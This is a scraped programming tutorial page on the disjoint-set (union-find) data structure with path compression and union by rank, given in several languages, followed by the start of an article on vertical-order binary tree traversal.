"text": "// Finds the representative of the set that i\n// is an element of.\nint find(int i) \n{\n // If i is the parent of itself\n if (Parent[i] == i) \n {\n // Then i is the representative \n return i;\n }\n else\n { \n // Recursively find the representative.\n int result = find(Parent[i]);\n\n // We cache the result by moving i’s node \n // directly under the representative of this\n // set\n Parent[i] = result;\n \n // And then we return the result\n return result;\n }\n}"
},
{
"code": null,
"e": 30689,
"s": 30125,
"text": "Union by Rank: First of all, we need a new array of integers called rank[]. Size of this array is same as the parent array. If i is a representative of a set, rank[i] is the height of the tree representing the set. Now recall that, in the Union operation, it doesn’t matter which of the two trees is moved under the other (see last two image examples above). Now what we want to do is minimize the height of the resulting tree. If we are uniting two trees (or sets), let’s call them left and right, then it all depends on the rank of left and the rank of right. "
},
{
"code": null,
"e": 30992,
"s": 30689,
"text": "If the rank of left is less than the rank of right, then it’s best to move left under right, because that won’t change the rank of right (while moving right under left would increase the height). In the same way, if the rank of right is less than the rank of left, then we should move right under left."
},
{
"code": null,
"e": 31149,
"s": 30992,
"text": "If the ranks are equal, it doesn’t matter which tree goes under the other, but the rank of the result will always be one greater than the rank of the trees."
},
{
"code": null,
"e": 32233,
"s": 31151,
"text": "// Unites the set that includes i and the set \n// that includes j\nvoid union(int i, int j) \n{\n // Find the representatives (or the root nodes) \n // for the set that includes i\n int irep = this.find(i);\n\n // And do the same for the set that includes j\n int jrep = this.Find(j);\n\n // Elements are in same set, no need to \n // unite anything. \n if (irep == jrep)\n return;\n\n // Get the rank of i’s tree\n irank = Rank[irep],\n\n // Get the rank of j’s tree\n jrank = Rank[jrep];\n\n // If i’s rank is less than j’s rank\n if (irank < jrank) \n {\n // Then move i under j\n this.parent[irep] = jrep;\n } \n\n // Else if j’s rank is less than i’s rank\n else if (jrank < irank) \n {\n // Then move j under i\n this.Parent[jrep] = irep;\n } \n\n // Else if their ranks are the same\n else\n {\n\n // Then move i under j (doesn’t matter\n // which one goes where)\n this.Parent[irep] = jrep;\n\n // And increment the result tree’s \n // rank by 1\n Rank[jrep]++;\n }\n}"
},
{
"code": null,
"e": 32241,
"s": 32237,
"text": "C++"
},
{
"code": null,
"e": 32246,
"s": 32241,
"text": "Java"
},
{
"code": null,
"e": 32254,
"s": 32246,
"text": "Python3"
},
{
"code": null,
"e": 32257,
"s": 32254,
"text": "C#"
},
{
"code": "// C++ implementation of disjoint set#include <iostream>using namespace std;class DisjSet { int *rank, *parent, n; public: // Constructor to create and // initialize sets of n items DisjSet(int n) { rank = new int[n]; parent = new int[n]; this->n = n; makeSet(); } // Creates n single item sets void makeSet() { for (int i = 0; i < n; i++) { parent[i] = i; } } // Finds set of given item x int find(int x) { // Finds the representative of the set // that x is an element of if (parent[x] != x) { // if x is not the parent of itself // Then x is not the representative of // his set, parent[x] = find(parent[x]); // so we recursively call Find on its parent // and move i's node directly under the // representative of this set } return parent[x]; } // Do union of two sets represented // by x and y. void Union(int x, int y) { // Find current sets of x and y int xset = find(x); int yset = find(y); // If they are already in same set if (xset == yset) return; // Put smaller ranked item under // bigger ranked item if ranks are // different if (rank[xset] < rank[yset]) { parent[xset] = yset; } else if (rank[xset] > rank[yset]) { parent[yset] = xset; } // If ranks are same, then increment // rank. else { parent[yset] = xset; rank[xset] = rank[xset] + 1; } }}; int main(){ DisjSet obj(5); obj.Union(0, 2); obj.Union(4, 2); obj.Union(3, 1); if (obj.find(4) == obj.find(0)) cout << \"Yes\\n\"; else cout << \"No\\n\"; if (obj.find(1) == obj.find(0)) cout << \"Yes\\n\"; else cout << \"No\\n\"; return 0;}",
"e": 34204,
"s": 32257,
"text": null
},
{
"code": "// A Java program to implement Disjoint Set Data// Structure.import java.io.*;import java.util.*; class DisjointUnionSets { int[] rank, parent; int n; // Constructor public DisjointUnionSets(int n) { rank = new int[n]; parent = new int[n]; this.n = n; makeSet(); } // Creates n sets with single item in each void makeSet() { for (int i = 0; i < n; i++) { // Initially, all elements are in // their own set. parent[i] = i; } } // Returns representative of x's set int find(int x) { // Finds the representative of the set // that x is an element of if (parent[x] != x) { // if x is not the parent of itself // Then x is not the representative of // his set, parent[x] = find(parent[x]); // so we recursively call Find on its parent // and move i's node directly under the // representative of this set } return parent[x]; } // Unites the set that includes x and the set // that includes x void union(int x, int y) { // Find representatives of two sets int xRoot = find(x), yRoot = find(y); // Elements are in the same set, no need // to unite anything. if (xRoot == yRoot) return; // If x's rank is less than y's rank if (rank[xRoot] < rank[yRoot]) // Then move x under y so that depth // of tree remains less parent[xRoot] = yRoot; // Else if y's rank is less than x's rank else if (rank[yRoot] < rank[xRoot]) // Then move y under x so that depth of // tree remains less parent[yRoot] = xRoot; else // if ranks are the same { // Then move y under x (doesn't matter // which one goes where) parent[yRoot] = xRoot; // And increment the result tree's // rank by 1 rank[xRoot] = rank[xRoot] + 1; } }} // Driver codepublic class Main { public static void main(String[] args) { // Let there be 5 persons with ids as // 0, 1, 2, 3 and 4 int n = 5; DisjointUnionSets dus = new DisjointUnionSets(n); // 0 is a friend of 2 dus.union(0, 2); // 4 is a friend of 2 dus.union(4, 2); // 3 is a friend of 1 dus.union(3, 1); // Check if 4 is a friend of 0 if (dus.find(4) == dus.find(0)) System.out.println(\"Yes\"); else System.out.println(\"No\"); // Check if 1 is a friend of 0 if (dus.find(1) == dus.find(0)) System.out.println(\"Yes\"); else System.out.println(\"No\"); }}",
"e": 37026,
"s": 34204,
"text": null
},
{
"code": "# Python3 program to implement Disjoint Set Data# Structure. class DisjSet: def __init__(self, n): # Constructor to create and # initialize sets of n items self.rank = [1] * n self.parent = [i for i in range(n)] # Finds set of given item x def find(self, x): # Finds the representative of the set # that x is an element of if (self.parent[x] != x): # if x is not the parent of itself # Then x is not the representative of # its set, self.parent[x] = self.find(self.parent[x]) # so we recursively call Find on its parent # and move i's node directly under the # representative of this set return self.parent[x] # Do union of two sets represented # by x and y. def Union(self, x, y): # Find current sets of x and y xset = self.find(x) yset = self.find(y) # If they are already in same set if xset == yset: return # Put smaller ranked item under # bigger ranked item if ranks are # different if self.rank[xset] < self.rank[yset]: self.parent[xset] = yset else if self.rank[xset] > self.rank[yset]: self.parent[yset] = xset # If ranks are same, then move y under # x (doesn't matter which one goes where) # and increment rank of x's tree else: self.parent[yset] = xset self.rank[xset] = self.rank[xset] + 1 # Driver codeobj = DisjSet(5)obj.Union(0, 2)obj.Union(4, 2)obj.Union(3, 1)if obj.find(4) == obj.find(0): print('Yes')else: print('No')if obj.find(1) == obj.find(0): print('Yes')else: print('No') # This code is contributed by ng24_7.",
"e": 38831,
"s": 37026,
"text": null
},
{
"code": "// A C# program to implement // Disjoint Set Data Structure.using System; class DisjointUnionSets{ int[] rank, parent; int n; // Constructor public DisjointUnionSets(int n) { rank = new int[n]; parent = new int[n]; this.n = n; makeSet(); } // Creates n sets with single item in each public void makeSet() { for (int i = 0; i < n; i++) { // Initially, all elements are in // their own set. parent[i] = i; } } // Returns representative of x's set public int find(int x) { // Finds the representative of the set // that x is an element of if (parent[x] != x) { // if x is not the parent of itself // Then x is not the representative of // his set, parent[x] = find(parent[x]); // so we recursively call Find on its parent // and move i's node directly under the // representative of this set } return parent[x]; } // Unites the set that includes x and // the set that includes x public void union(int x, int y) { // Find representatives of two sets int xRoot = find(x), yRoot = find(y); // Elements are in the same set, // no need to unite anything. if (xRoot == yRoot) return; // If x's rank is less than y's rank if (rank[xRoot] < rank[yRoot]) // Then move x under y so that depth // of tree remains less parent[xRoot] = yRoot; // Else if y's rank is less than x's rank else if (rank[yRoot] < rank[xRoot]) // Then move y under x so that depth of // tree remains less parent[yRoot] = xRoot; else // if ranks are the same { // Then move y under x (doesn't matter // which one goes where) parent[yRoot] = xRoot; // And increment the result tree's // rank by 1 rank[xRoot] = rank[xRoot] + 1; } }} // Driver codeclass GFG{ public static void Main(String[] args) { // Let there be 5 persons with ids as // 0, 1, 2, 3 and 4 int n = 5; DisjointUnionSets dus = new DisjointUnionSets(n); // 0 is a friend of 2 dus.union(0, 2); // 4 is a friend of 2 dus.union(4, 2); // 3 is a friend of 1 dus.union(3, 1); // Check if 4 is a friend of 0 if (dus.find(4) == dus.find(0)) Console.WriteLine(\"Yes\"); else Console.WriteLine(\"No\"); // Check if 1 is a friend of 0 if (dus.find(1) == dus.find(0)) Console.WriteLine(\"Yes\"); else Console.WriteLine(\"No\"); }} // This code is contributed by Rajput-Ji",
"e": 41706,
"s": 38831,
"text": null
},
{
"code": null,
"e": 41716,
"s": 41706,
"text": "Output: "
},
{
"code": null,
"e": 41723,
"s": 41716,
"text": "Yes\nNo"
},
{
"code": null,
"e": 41739,
"s": 41723,
"text": "Applications : "
},
{
"code": null,
"e": 41782,
"s": 41739,
"text": "Kruskal’s Minimum Spanning Tree Algorithm."
},
{
"code": null,
"e": 41806,
"s": 41782,
"text": "Job Sequencing Problem."
},
{
"code": null,
"e": 41822,
"s": 41806,
"text": "Cycle Detection"
},
{
"code": null,
"e": 41976,
"s": 41822,
"text": "Related Articles: Union-Find Algorithm | Set 1 (Detect Cycle in a an Undirected Graph) Union-Find Algorithm | Set 2 (Union By Rank and Path Compression) "
},
{
"code": null,
"e": 42358,
"s": 41976,
"text": "Try to solve this problem and check how much you learnt and do comment on the complexity of the given question.This article is contributed by Nikhil Tekwani. If you like GeeksforGeeks and would like to contribute, you can also write an article and mail your article to review-team@geeksforgeeks.org. See your article appearing on the GeeksforGeeks main page and help other Geeks. "
},
{
"code": null,
"e": 42482,
"s": 42358,
"text": "Please write comments if you find anything incorrect, or you want to share more information about the topic discussed above"
},
{
"code": null,
"e": 42491,
"s": 42484,
"text": "blmali"
},
{
"code": null,
"e": 42501,
"s": 42491,
"text": "Rajput-Ji"
},
{
"code": null,
"e": 42514,
"s": 42501,
"text": "Akanksha_Rai"
},
{
"code": null,
"e": 42523,
"s": 42514,
"text": "naina024"
},
{
"code": null,
"e": 42538,
"s": 42523,
"text": "Adityasharma15"
},
{
"code": null,
"e": 42555,
"s": 42538,
"text": "surinderdawra388"
},
{
"code": null,
"e": 42566,
"s": 42555,
"text": "union-find"
},
{
"code": null,
"e": 42590,
"s": 42566,
"text": "Advanced Data Structure"
},
{
"code": null,
"e": 42601,
"s": 42590,
"text": "union-find"
},
{
"code": null,
"e": 42699,
"s": 42601,
"text": "Writing code in comment?\nPlease use ide.geeksforgeeks.org,\ngenerate link and share the link here."
},
{
"code": null,
"e": 42733,
"s": 42699,
"text": "Agents in Artificial Intelligence"
},
{
"code": null,
"e": 42773,
"s": 42733,
"text": "Decision Tree Introduction with example"
},
{
"code": null,
"e": 42801,
"s": 42773,
"text": "AVL Tree | Set 2 (Deletion)"
},
{
"code": null,
"e": 42833,
"s": 42801,
"text": "Red-Black Tree | Set 2 (Insert)"
},
{
"code": null,
"e": 42875,
"s": 42833,
"text": "Segment Tree | Set 1 (Sum of given range)"
},
{
"code": null,
"e": 42904,
"s": 42875,
"text": "Ordered Set and GNU C++ PBDS"
},
{
"code": null,
"e": 42931,
"s": 42904,
"text": "Insert Operation in B-Tree"
},
{
"code": null,
"e": 42967,
"s": 42931,
"text": "Binary Indexed Tree or Fenwick Tree"
},
{
"code": null,
"e": 42981,
"s": 42967,
"text": "Binomial Heap"
}
] |
Find Element and FindElements by XPath in Selenium
|
The findElement(By.xpath) method is used to identify an element which matches with the xpath locator passed as a parameter to this method. The findElements(By.xpath) method is used to identify a collection of elements which match with xpath locator passed as a parameter to that method.
The method findElement(By.xpath) returns a web element whereas the method findElements(By.xpath) returns a list of web elements. An exception is thrown by the method findElement(By.xpath) if there is no matching element. An empty list of elements is returned if there is no matching element obtained from the findElements(By.xpath) method.
Let us try to identify the number of children of the ul tag and also the first subelement of ul( li[1] having text Selected Reading).
List<WebElement> n =
driver.findElements(By.xpath("//ul[@class=' toc reading']/li"));
WebElement m =driver.findElement(By.xpath("//ul[@class=' toc reading']/li[1]"));
import org.openqa.selenium.By;
import org.openqa.selenium.WebDriver;
import org.openqa.selenium.WebElement;
import org.openqa.selenium.firefox.FirefoxDriver;
import java.util.concurrent.TimeUnit;
import java.util.List;
public class XpathFindElment{
public static void main(String[] args) {
System.setProperty("webdriver.gecko.driver",
"C:\\Users\\ghs6kor\\Desktop\\Java\\geckodriver.exe");
WebDriver driver = new FirefoxDriver();
//implicit wait
driver.manage().timeouts().implicitlyWait(5, TimeUnit.SECONDS);
//URL launch
driver.get("https://www.tutorialspoint.com/about/about_careers.htm");
// identify elements with findElements xpath
List p = driver.findElements(By.xpath("//ul[@class='toc reading']/li"));
//count of list of matching elements
int s = p.size();
//identify element with xpath
WebElement m = driver.findElement(By.xpath("//ul[@class='toc reading']/li[1]"));
System.out.println("Element text is: "+ m.getText());
driver.quit();
}
}
|
[
{
"code": null,
"e": 1349,
"s": 1062,
"text": "The findElement(By.xpath) method is used to identify an element which matches with the xpath locator passed as a parameter to this method. The findElements(By.xpath) method is used to identify a collection of elements which match with xpath locator passed as a parameter to that method."
},
{
"code": null,
"e": 1689,
"s": 1349,
"text": "The method findElement(By.xpath) returns a web element whereas the method findElements(By.xpath) returns a list of web elements. An exception is thrown by the method findElement(By.xpath) if there is no matching element. An empty list of elements is returned if there is no matching element obtained from the findElements(By.xpath) method."
},
{
"code": null,
"e": 1823,
"s": 1689,
"text": "Let us try to identify the number of children of the ul tag and also the first subelement of ul( li[1] having text Selected Reading)."
},
{
"code": null,
"e": 1990,
"s": 1823,
"text": "List<WebElement> n =\ndriver.findElements(By.xpath(\"//ul[@class=' toc reading']/li\"));\nWebElement m =driver.findElement(By.xpath(\"//ul[@class=' toc reading']/li[1]\"));"
},
{
"code": null,
"e": 3040,
"s": 1990,
"text": "import org.openqa.selenium.By;\nimport org.openqa.selenium.WebDriver;\nimport org.openqa.selenium.WebElement;\nimport org.openqa.selenium.firefox.FirefoxDriver;\nimport java.util.concurrent.TimeUnit;\nimport java.util.List;\npublic class XpathFindElment{\n public static void main(String[] args) {\n System.setProperty(\"webdriver.gecko.driver\",\n \"C:\\\\Users\\\\ghs6kor\\\\Desktop\\\\Java\\\\geckodriver.exe\");\n WebDriver driver = new FirefoxDriver();\n //implicit wait\n driver.manage().timeouts().implicitlyWait(5, TimeUnit.SECONDS);\n //URL launch\n driver.get(\"https://www.tutorialspoint.com/about/about_careers.htm\");\n // identify elements with findElements xpath\n List p = driver.findElements(By.xpath(\"//ul[@class='toc reading']/li\"));\n //count of list of matching elements\n int s = p.size();\n //identify element with xpath\n WebElement m = driver.findElement(By.xpath(\"//ul[@class='toc reading']/li[1]\"));\n System.out.println(\"Element text is: \"+ m.getText());\n\n driver.quit();\n }\n}"
}
] |
Stacked area chart with R - GeeksforGeeks
|
16 Mar, 2021
Area Charts are defined as the filled regions between two series that share common areas. A stacked area chart is easily understandable if you know the area chart. This plot display evolution of cost/value of several groups on the same plot. The values of each group are displayed on top of every other. Using this plot, we can analyze the total numerical value of variables present in each group section-wise and the importance of each group.
R uses the function geom_area() to create Stacked area charts.
Syntax: ggplot(Data, aes(x=x_variable, y=y_variable, fill=group_variable)) + geom_area()
Parameters:
Data: This parameter contains whole dataset which are used in stacked-area chart.
x: This parameter contains numerical value of variable for x axis in stacked-area chart.
y: This parameter contains numerical value of variables for y axis in stacked-area chart.
fill: This parameter contains group column of Data which is mainly used for analyse in stacked-area chart.
Creating a basic Stacked area chart:
Step 1: Import Packages
R
library(ggplot2)library(dplyr)library(tidyverse)
Step 2: Create Dataset
In the Group column, Four Direction is replicated 4 times. Year column, the sequence is generated from 2017 to 2020, each 4 times. Price column, generated by runif(n, min, max) function.
R
group <- rep(c("NORTH","SOUTH","EAST","WEST"),times=4) year <- as.numeric(rep(seq(2017,2020),each=4)) price <- runif(16, 50, 100) data <- data.frame(year, price, group)
Output:
Step 3: Plot the Data
R
ggplot(data, aes(x=year, y=price, fill=group)) + geom_area()
Output:
In the basic stacked-area chart, if we interested in the relative interest of each group, then we can draw a percentage stacked-area chart. This plot will normalize our data then plot. This can be done using dplyr library.
Step 1: Calculate the percentage
R
data <- data %>%+ group_by(year, group) %>%+ summarise(n = sum(price)) %>%+ mutate(percentage = n / sum(n))
Output:
Step 2: Plot data
We can add color in a plot by Viridis library, Title by ggtitle, and theme_ipsum of the hrbrthemes package
R
library(viridis)library(hrbrthemes) ggplot(data, aes(x=year, y=percentage, fill=group)) + geom_area(alpha=0.8 , size=.5, colour="white") + scale_fill_viridis(discrete = T) + theme_ipsum() + ggtitle("Percentage Stacked-Area Plot")
Output:
Picked
R-Charts
R-Graphs
R-plots
Technical Scripter 2020
R Language
Technical Scripter
Writing code in comment?
Please use ide.geeksforgeeks.org,
generate link and share the link here.
Change Color of Bars in Barchart using ggplot2 in R
Group by function in R using Dplyr
How to Split Column Into Multiple Columns in R DataFrame?
How to Change Axis Scales in R Plots?
Replace Specific Characters in String in R
R - if statement
How to filter R dataframe by multiple conditions?
How to filter R DataFrame by values in a column?
How to import an Excel File into R ?
Time Series Analysis in R
|
[
{
"code": null,
"e": 26597,
"s": 26569,
"text": "\n16 Mar, 2021"
},
{
"code": null,
"e": 27041,
"s": 26597,
"text": "Area Charts are defined as the filled regions between two series that share common areas. A stacked area chart is easily understandable if you know the area chart. This plot display evolution of cost/value of several groups on the same plot. The values of each group are displayed on top of every other. Using this plot, we can analyze the total numerical value of variables present in each group section-wise and the importance of each group."
},
{
"code": null,
"e": 27104,
"s": 27041,
"text": "R uses the function geom_area() to create Stacked area charts."
},
{
"code": null,
"e": 27193,
"s": 27104,
"text": "Syntax: ggplot(Data, aes(x=x_variable, y=y_variable, fill=group_variable)) + geom_area()"
},
{
"code": null,
"e": 27205,
"s": 27193,
"text": "Parameters:"
},
{
"code": null,
"e": 27287,
"s": 27205,
"text": "Data: This parameter contains whole dataset which are used in stacked-area chart."
},
{
"code": null,
"e": 27376,
"s": 27287,
"text": "x: This parameter contains numerical value of variable for x axis in stacked-area chart."
},
{
"code": null,
"e": 27466,
"s": 27376,
"text": "y: This parameter contains numerical value of variables for y axis in stacked-area chart."
},
{
"code": null,
"e": 27573,
"s": 27466,
"text": "fill: This parameter contains group column of Data which is mainly used for analyse in stacked-area chart."
},
{
"code": null,
"e": 27610,
"s": 27573,
"text": "Creating a basic Stacked area chart:"
},
{
"code": null,
"e": 27634,
"s": 27610,
"text": "Step 1: Import Packages"
},
{
"code": null,
"e": 27636,
"s": 27634,
"text": "R"
},
{
"code": "library(ggplot2)library(dplyr)library(tidyverse)",
"e": 27685,
"s": 27636,
"text": null
},
{
"code": null,
"e": 27708,
"s": 27685,
"text": "Step 2: Create Dataset"
},
{
"code": null,
"e": 27895,
"s": 27708,
"text": "In the Group column, Four Direction is replicated 4 times. Year column, the sequence is generated from 2017 to 2020, each 4 times. Price column, generated by runif(n, min, max) function."
},
{
"code": null,
"e": 27897,
"s": 27895,
"text": "R"
},
{
"code": "group <- rep(c(\"NORTH\",\"SOUTH\",\"EAST\",\"WEST\"),times=4) year <- as.numeric(rep(seq(2017,2020),each=4)) price <- runif(16, 50, 100) data <- data.frame(year, price, group)",
"e": 28068,
"s": 27897,
"text": null
},
{
"code": null,
"e": 28076,
"s": 28068,
"text": "Output:"
},
{
"code": null,
"e": 28098,
"s": 28076,
"text": "Step 3: Plot the Data"
},
{
"code": null,
"e": 28100,
"s": 28098,
"text": "R"
},
{
"code": "ggplot(data, aes(x=year, y=price, fill=group)) + geom_area()",
"e": 28161,
"s": 28100,
"text": null
},
{
"code": null,
"e": 28169,
"s": 28161,
"text": "Output:"
},
{
"code": null,
"e": 28392,
"s": 28169,
"text": "In the basic stacked-area chart, if we interested in the relative interest of each group, then we can draw a percentage stacked-area chart. This plot will normalize our data then plot. This can be done using dplyr library."
},
{
"code": null,
"e": 28425,
"s": 28392,
"text": "Step 1: Calculate the percentage"
},
{
"code": null,
"e": 28427,
"s": 28425,
"text": "R"
},
{
"code": "data <- data %>%+ group_by(year, group) %>%+ summarise(n = sum(price)) %>%+ mutate(percentage = n / sum(n))",
"e": 28548,
"s": 28427,
"text": null
},
{
"code": null,
"e": 28556,
"s": 28548,
"text": "Output:"
},
{
"code": null,
"e": 28574,
"s": 28556,
"text": "Step 2: Plot data"
},
{
"code": null,
"e": 28681,
"s": 28574,
"text": "We can add color in a plot by Viridis library, Title by ggtitle, and theme_ipsum of the hrbrthemes package"
},
{
"code": null,
"e": 28683,
"s": 28681,
"text": "R"
},
{
"code": "library(viridis)library(hrbrthemes) ggplot(data, aes(x=year, y=percentage, fill=group)) + geom_area(alpha=0.8 , size=.5, colour=\"white\") + scale_fill_viridis(discrete = T) + theme_ipsum() + ggtitle(\"Percentage Stacked-Area Plot\")",
"e": 28928,
"s": 28683,
"text": null
},
{
"code": null,
"e": 28936,
"s": 28928,
"text": "Output:"
},
{
"code": null,
"e": 28943,
"s": 28936,
"text": "Picked"
},
{
"code": null,
"e": 28952,
"s": 28943,
"text": "R-Charts"
},
{
"code": null,
"e": 28961,
"s": 28952,
"text": "R-Graphs"
},
{
"code": null,
"e": 28969,
"s": 28961,
"text": "R-plots"
},
{
"code": null,
"e": 28993,
"s": 28969,
"text": "Technical Scripter 2020"
},
{
"code": null,
"e": 29004,
"s": 28993,
"text": "R Language"
},
{
"code": null,
"e": 29023,
"s": 29004,
"text": "Technical Scripter"
},
{
"code": null,
"e": 29121,
"s": 29023,
"text": "Writing code in comment?\nPlease use ide.geeksforgeeks.org,\ngenerate link and share the link here."
},
{
"code": null,
"e": 29173,
"s": 29121,
"text": "Change Color of Bars in Barchart using ggplot2 in R"
},
{
"code": null,
"e": 29208,
"s": 29173,
"text": "Group by function in R using Dplyr"
},
{
"code": null,
"e": 29266,
"s": 29208,
"text": "How to Split Column Into Multiple Columns in R DataFrame?"
},
{
"code": null,
"e": 29304,
"s": 29266,
"text": "How to Change Axis Scales in R Plots?"
},
{
"code": null,
"e": 29347,
"s": 29304,
"text": "Replace Specific Characters in String in R"
},
{
"code": null,
"e": 29364,
"s": 29347,
"text": "R - if statement"
},
{
"code": null,
"e": 29414,
"s": 29364,
"text": "How to filter R dataframe by multiple conditions?"
},
{
"code": null,
"e": 29463,
"s": 29414,
"text": "How to filter R DataFrame by values in a column?"
},
{
"code": null,
"e": 29500,
"s": 29463,
"text": "How to import an Excel File into R ?"
}
] |
Path toAbsolutePath() method in Java with Examples - GeeksforGeeks
|
03 Dec, 2019
The Java Path interface was added to Java NIO in Java 7. toAbsolutePath() method of java.nio.file.Path used to return a Path object representing the absolute path of this path object. If the path is already absolute then the method returns path else this method resolves this path in an implementation-dependent manner by resolving the path against a file system default directory. Depending on the implementation, this method may throw an I/O error if the file system is not accessible.
Syntax:
int toAbsolutePath()
Parameters: This method accepts nothing.
Return value: This method returns a Path object representing the absolute path.
Exception: This method throws following Exceptions:
IOError – if an I/O error occurs
SecurityException – In the case of the default provider, a security manager is installed, and this path is not absolute, then the security manager’s
checkPropertyAccess method is invoked to check access to the system property user.dir
Below programs illustrate toAbsolutePath() method:Program 1:
// Java program to demonstrate// java.nio.file.Path.toAbsolute() method import java.io.IOException;import java.nio.file.Path;import java.nio.file.Paths; public class GFG { public static void main(String[] args) { // create object of Path Path path = Paths.get("\\temp\\Spring"); // call toAbsolutePath() to get // absolute path Path absPath = path.toAbsolutePath(); // print absolute path System.out.println("Absolute Path: " + absPath); }}
Program 2:
// Java program to demonstrate// java.nio.file.Path.toAbsolutePath() method import java.io.IOException;import java.nio.file.Path;import java.nio.file.Paths; public class GFG { public static void main(String[] args) { // create object of Path Path path = Paths.get("Program Files\\Java"); // call toAbsolutePath() to get // absolute path Path absPath= path.toAbsolutePath(); // print absolute path System.out.println("Absolute Path: " + absPath); }}
References: https://docs.oracle.com/javase/10/docs/api/java/nio/file/Path.html#toAbsolutePath()
jacekwitkowski1
Java-Functions
Java-Path
java.nio.file package
Java
Java
Writing code in comment?
Please use ide.geeksforgeeks.org,
generate link and share the link here.
Comments
Old Comments
Different ways of Reading a text file in Java
Constructors in Java
Stream In Java
Exceptions in Java
Generics in Java
Comparator Interface in Java with Examples
StringBuilder Class in Java with Examples
HashMap get() Method in Java
Functional Interfaces in Java
Strings in Java
|
[
{
"code": null,
"e": 23868,
"s": 23840,
"text": "\n03 Dec, 2019"
},
{
"code": null,
"e": 24356,
"s": 23868,
"text": "The Java Path interface was added to Java NIO in Java 7. toAbsolutePath() method of java.nio.file.Path used to return a Path object representing the absolute path of this path object. If the path is already absolute then the method returns path else this method resolves this path in an implementation-dependent manner by resolving the path against a file system default directory. Depending on the implementation, this method may throw an I/O error if the file system is not accessible."
},
{
"code": null,
"e": 24364,
"s": 24356,
"text": "Syntax:"
},
{
"code": null,
"e": 24386,
"s": 24364,
"text": "int toAbsolutePath()\n"
},
{
"code": null,
"e": 24427,
"s": 24386,
"text": "Parameters: This method accepts nothing."
},
{
"code": null,
"e": 24507,
"s": 24427,
"text": "Return value: This method returns a Path object representing the absolute path."
},
{
"code": null,
"e": 24559,
"s": 24507,
"text": "Exception: This method throws following Exceptions:"
},
{
"code": null,
"e": 24592,
"s": 24559,
"text": "IOError – if an I/O error occurs"
},
{
"code": null,
"e": 24741,
"s": 24592,
"text": "SecurityException – In the case of the default provider, a security manager is installed, and this path is not absolute, then the security manager’s"
},
{
"code": null,
"e": 24827,
"s": 24741,
"text": "checkPropertyAccess method is invoked to check access to the system property user.dir"
},
{
"code": null,
"e": 24888,
"s": 24827,
"text": "Below programs illustrate toAbsolutePath() method:Program 1:"
},
{
"code": "// Java program to demonstrate// java.nio.file.Path.toAbsolute() method import java.io.IOException;import java.nio.file.Path;import java.nio.file.Paths; public class GFG { public static void main(String[] args) { // create object of Path Path path = Paths.get(\"\\\\temp\\\\Spring\"); // call toAbsolutePath() to get // absolute path Path absPath = path.toAbsolutePath(); // print absolute path System.out.println(\"Absolute Path: \" + absPath); }}",
"e": 25421,
"s": 24888,
"text": null
},
{
"code": null,
"e": 25432,
"s": 25421,
"text": "Program 2:"
},
{
"code": "// Java program to demonstrate// java.nio.file.Path.toAbsolutePath() method import java.io.IOException;import java.nio.file.Path;import java.nio.file.Paths; public class GFG { public static void main(String[] args) { // create object of Path Path path = Paths.get(\"Program Files\\\\Java\"); // call toAbsolutePath() to get // absolute path Path absPath= path.toAbsolutePath(); // print absolute path System.out.println(\"Absolute Path: \" + absPath); }}",
"e": 25973,
"s": 25432,
"text": null
},
{
"code": null,
"e": 26069,
"s": 25973,
"text": "References: https://docs.oracle.com/javase/10/docs/api/java/nio/file/Path.html#toAbsolutePath()"
},
{
"code": null,
"e": 26085,
"s": 26069,
"text": "jacekwitkowski1"
},
{
"code": null,
"e": 26100,
"s": 26085,
"text": "Java-Functions"
},
{
"code": null,
"e": 26110,
"s": 26100,
"text": "Java-Path"
},
{
"code": null,
"e": 26132,
"s": 26110,
"text": "java.nio.file package"
},
{
"code": null,
"e": 26137,
"s": 26132,
"text": "Java"
},
{
"code": null,
"e": 26142,
"s": 26137,
"text": "Java"
},
{
"code": null,
"e": 26240,
"s": 26142,
"text": "Writing code in comment?\nPlease use ide.geeksforgeeks.org,\ngenerate link and share the link here."
},
{
"code": null,
"e": 26249,
"s": 26240,
"text": "Comments"
},
{
"code": null,
"e": 26262,
"s": 26249,
"text": "Old Comments"
},
{
"code": null,
"e": 26308,
"s": 26262,
"text": "Different ways of Reading a text file in Java"
},
{
"code": null,
"e": 26329,
"s": 26308,
"text": "Constructors in Java"
},
{
"code": null,
"e": 26344,
"s": 26329,
"text": "Stream In Java"
},
{
"code": null,
"e": 26363,
"s": 26344,
"text": "Exceptions in Java"
},
{
"code": null,
"e": 26380,
"s": 26363,
"text": "Generics in Java"
},
{
"code": null,
"e": 26423,
"s": 26380,
"text": "Comparator Interface in Java with Examples"
},
{
"code": null,
"e": 26465,
"s": 26423,
"text": "StringBuilder Class in Java with Examples"
},
{
"code": null,
"e": 26494,
"s": 26465,
"text": "HashMap get() Method in Java"
},
{
"code": null,
"e": 26524,
"s": 26494,
"text": "Functional Interfaces in Java"
}
] |
Print a Binary Tree in Vertical Order | Set 3 (Using Level Order Traversal) - GeeksforGeeks
|
28 Feb, 2022
Given a binary tree, print it vertically. The following example illustrates vertical order traversal.
1
/ \
2 3
/ \ / \
4 5 6 7
\ \
8 9
The output of print this tree vertically will be:
4
2
1 5 6
3 8
7
9
We have discussed an efficient approach in below post.Print a Binary Tree in Vertical Order | Set 2 (Hashmap based Method)The above solution uses preorder traversal and Hashmap to store nodes according to horizontal distances. Since the above approach uses preorder traversal, nodes in a vertical line may not be printed in the same order as they appear in the tree. For example, the above solution prints 12 before 9 in the below tree. See this for a sample run.
1
/ \
2 3
/ \ / \
4 5 6 7
\ / \
8 10 9
\
11
\
12
If we use level order traversal, we can make sure that if a node like 12 comes below in the same vertical line, it is printed after a node like 9 which comes above in the vertical line.
1. To maintain a hash for the branch of each node.
2. Traverse the tree in level order fashion.
3. In level order traversal, maintain a queue
which holds, node and its vertical branch.
* pop from queue.
* add this node's data in vector corresponding
to its branch in the hash.
* if this node hash left child, insert in the
queue, left with branch - 1.
* if this node hash right child, insert in the
queue, right with branch + 1.
C++
Java
Python3
C#
Javascript
